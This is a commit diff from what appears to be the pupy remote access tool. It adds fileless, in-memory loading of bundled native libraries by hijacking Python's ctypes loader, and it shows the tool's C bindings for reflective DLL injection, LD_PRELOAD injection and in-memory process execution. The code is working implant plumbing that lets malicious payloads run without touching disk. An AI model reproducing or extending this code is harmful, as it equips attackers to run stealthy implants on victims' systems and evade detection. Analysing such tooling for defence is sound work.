mirror of https://github.com/n1nj4sec/pupy.git
Add (initial) support for loading bundled libraries via ctypes
This commit is contained in:
parent
477556264b
commit
5f78b6cbbe
|
@ -221,9 +221,7 @@ static PyObject *Py_load_dll(PyObject *self, PyObject *args)
|
|||
|
||||
printf("Py_load_dll(%s)\n", dllname);
|
||||
|
||||
if(memdlopen(dllname, lpDllBuffer, dwDllLenght))
|
||||
return PyBool_FromLong(1);
|
||||
return PyBool_FromLong(0);
|
||||
return PyLong_FromVoidPtr(memdlopen(dllname, lpDllBuffer, dwDllLenght));
|
||||
}
|
||||
|
||||
static PyObject *Py_mexec(PyObject *self, PyObject *args)
|
||||
|
@ -290,7 +288,7 @@ static PyMethodDef methods[] = {
|
|||
{ "get_arch", Py_get_arch, METH_NOARGS, "get current pupy architecture (x86 or x64)" },
|
||||
{ "get_modules", Py_get_modules, METH_NOARGS, "get pupy library" },
|
||||
{ "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS, "reflective_inject_dll(pid, dll_buffer)\nreflectively inject a dll into a process. raise an Exception on failure" },
|
||||
{ "load_dll", Py_load_dll, METH_VARARGS, "load_dll(dllname, raw_dll) -> bool" },
|
||||
{ "load_dll", Py_load_dll, METH_VARARGS, "load_dll(dllname, raw_dll) -> ptr" },
|
||||
{ "mexec", Py_mexec, METH_VARARGS, "mexec(data, argv, redirected_stdio, detach) -> (pid, (in, out, err))" },
|
||||
{ "ld_preload_inject_dll", Py_ld_preload_inject_dll, METH_VARARGS, "ld_preload_inject_dll(cmdline, dll_buffer, hook_exit) -> pid" },
|
||||
{ NULL, NULL }, /* Sentinel */
|
||||
|
|
|
@ -65,17 +65,14 @@ int _load_python_FromFile(char *dllname)
|
|||
return 1;
|
||||
}
|
||||
|
||||
int _load_dll(char *name, char *bytes){
|
||||
HMODULE _load_dll(char *name, char *bytes){
|
||||
|
||||
HMODULE hmod;
|
||||
ULONG_PTR cookie = 0;
|
||||
cookie = _My_ActivateActCtx();
|
||||
hmod = MyLoadLibrary(name, bytes, NULL);
|
||||
if (hmod == NULL) {
|
||||
return 0;
|
||||
}
|
||||
_My_DeactivateActCtx(cookie);
|
||||
return 1;
|
||||
return hmod;
|
||||
}
|
||||
|
||||
int _load_msvcr90(char *bytes)
|
||||
|
|
|
@ -78,12 +78,12 @@ static PyObject *Py_load_dll(PyObject *self, PyObject *args)
|
|||
DWORD dwPid;
|
||||
const char *lpDllBuffer;
|
||||
DWORD dwDllLenght;
|
||||
|
||||
const char *dllname;
|
||||
if (!PyArg_ParseTuple(args, "ss#", &dllname, &lpDllBuffer, &dwDllLenght))
|
||||
return NULL;
|
||||
if(_load_dll(dllname, lpDllBuffer))
|
||||
return PyBool_FromLong(1);
|
||||
return PyBool_FromLong(0);
|
||||
|
||||
return PyLong_FromVoidPtr(_load_dll(dllname, lpDllBuffer));
|
||||
}
|
||||
|
||||
static PyObject *Py_find_function_address(PyObject *self, PyObject *args)
|
||||
|
@ -104,7 +104,7 @@ static PyMethodDef methods[] = {
|
|||
{ "get_arch", Py_get_arch, METH_NOARGS, "get current pupy architecture (x86 or x64)" },
|
||||
{ "get_modules", Py_get_modules, METH_NOARGS },
|
||||
{ "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS, "reflective_inject_dll(pid, dll_buffer, isRemoteProcess64bits)\nreflectively inject a dll into a process. raise an Exception on failure" },
|
||||
{ "load_dll", Py_load_dll, METH_VARARGS, "load_dll(dllname, raw_dll) -> bool" },
|
||||
{ "load_dll", Py_load_dll, METH_VARARGS, "load_dll(dllname, raw_dll) -> ptr" },
|
||||
{ "find_function_address", Py_find_function_address, METH_VARARGS,
|
||||
"find_function_address(dllname, function) -> address" },
|
||||
{ NULL, NULL }, /* Sentinel */
|
||||
|
|
|
@ -29,6 +29,7 @@ try:
|
|||
import _memimporter
|
||||
builtin_memimporter = True
|
||||
allow_system_packages = False
|
||||
|
||||
except ImportError:
|
||||
builtin_memimporter = False
|
||||
allow_system_packages = True
|
||||
|
@ -78,8 +79,15 @@ except ImportError:
|
|||
unlink(name)
|
||||
|
||||
def import_module(self, data, initfuncname, fullname, path):
|
||||
self.load_library(data, fullname, dlopen=False)
|
||||
|
||||
|
||||
def load_library(self, data, fullname, dlopen=True):
|
||||
fd = -1
|
||||
closefd = True
|
||||
|
||||
result = False
|
||||
|
||||
if self.memfd:
|
||||
fd = self.memfd()
|
||||
if fd != -1:
|
||||
|
@ -91,7 +99,11 @@ except ImportError:
|
|||
|
||||
try:
|
||||
write(fd, data)
|
||||
imp.load_dynamic(fullname, name)
|
||||
if dlopen:
|
||||
result = CDLL(fullname)
|
||||
else:
|
||||
imp.load_dynamic(fullname, name)
|
||||
result = True
|
||||
|
||||
except:
|
||||
self.dir = None
|
||||
|
@ -101,6 +113,8 @@ except ImportError:
|
|||
close(fd)
|
||||
unlink(name)
|
||||
|
||||
return result
|
||||
|
||||
_memimporter = MemImporter()
|
||||
builtin_memimporter = _memimporter.ready
|
||||
|
||||
|
@ -352,9 +366,12 @@ def unregister_package_request_hook():
|
|||
global remote_load_package
|
||||
remote_load_package = None
|
||||
|
||||
def install(debug=False):
|
||||
def install(debug=None):
|
||||
global __debug
|
||||
__debug = debug
|
||||
global modules
|
||||
|
||||
if debug:
|
||||
__debug = True
|
||||
|
||||
if allow_system_packages:
|
||||
sys.path_hooks.append(PupyPackageFinder)
|
||||
|
@ -373,6 +390,80 @@ def install(debug=False):
|
|||
'32bit' if pupy.get_arch() == 'x86' else '64bit', ''
|
||||
)
|
||||
|
||||
import ctypes
|
||||
import ctypes.util
|
||||
import os
|
||||
|
||||
ctypes._system_dlopen = ctypes._dlopen
|
||||
ctypes.util._system_find_library = ctypes.util.find_library
|
||||
|
||||
def pupy_make_path(name):
|
||||
if 'pupy:' in name:
|
||||
name = name[name.find('pupy:')+5:]
|
||||
name = os.path.relpath(name)
|
||||
name = '/'.join([
|
||||
x for x in name.split(os.path.sep) if x and not x in ( '.', '..' )
|
||||
])
|
||||
|
||||
return name
|
||||
|
||||
def pupy_find_library(name):
|
||||
dprint("FIND LIBRARY: {}".format(name))
|
||||
if name in modules:
|
||||
return name
|
||||
else:
|
||||
return ctypes.util._system_find_library(name)
|
||||
|
||||
def pupy_dlopen(name, *args, **kwargs):
|
||||
dprint("ctypes dlopen: {}".format(name))
|
||||
from_pupy = False
|
||||
name = pupy_make_path(name)
|
||||
dprint("ctypes dlopen / pupyized: {}".format(name))
|
||||
|
||||
if name in modules:
|
||||
if hasattr(_memimporter, 'load_library'):
|
||||
try:
|
||||
return _memimporter.load_library(modules[name], name)
|
||||
except:
|
||||
pass
|
||||
elif hasattr(pupy, 'load_dll'):
|
||||
try:
|
||||
return pupy.load_dll(name, modules[name])
|
||||
except:
|
||||
pass
|
||||
|
||||
if not from_pupy:
|
||||
return ctypes._system_dlopen(name, *args, **kwargs)
|
||||
|
||||
|
||||
if hasattr(pupy, 'find_function_address'):
|
||||
ctypes.CDLL_ORIG = ctypes.CDLL
|
||||
|
||||
class PupyCDLL(ctypes.CDLL_ORIG):
|
||||
def __init__(self, name, **kwargs):
|
||||
super(PupyCDLL, self).__init__(name, **kwargs)
|
||||
self._FuncPtr_orig = self._FuncPtr
|
||||
self._FuncPtr = self._find_function_address
|
||||
self._name = pupy_make_path(self._name)
|
||||
|
||||
def _find_function_address(self, search_tuple):
|
||||
name, handle = search_tuple
|
||||
dprint("PupyCDLL._find_function_address: {}".format(name))
|
||||
if not type(name) in (str, unicode):
|
||||
return self._FuncPtr_orig(search_tuple)
|
||||
else:
|
||||
addr = pupy.find_function_address(self._name, name)
|
||||
dprint("PupyCDLL._find_function_address: {} = {}".format(name, addr))
|
||||
if addr:
|
||||
return self._FuncPtr_orig(addr)
|
||||
else:
|
||||
return self._FuncPtr_orig(search_tuple)
|
||||
|
||||
ctypes.CDLL = PupyCDLL
|
||||
|
||||
ctypes._dlopen = pupy_dlopen
|
||||
ctypes.util.find_library = pupy_find_library
|
||||
|
||||
if 'win' in sys.platform:
|
||||
import pywintypes
|
||||
if __debug:
|
||||
|
|
Loading…
Reference in New Issue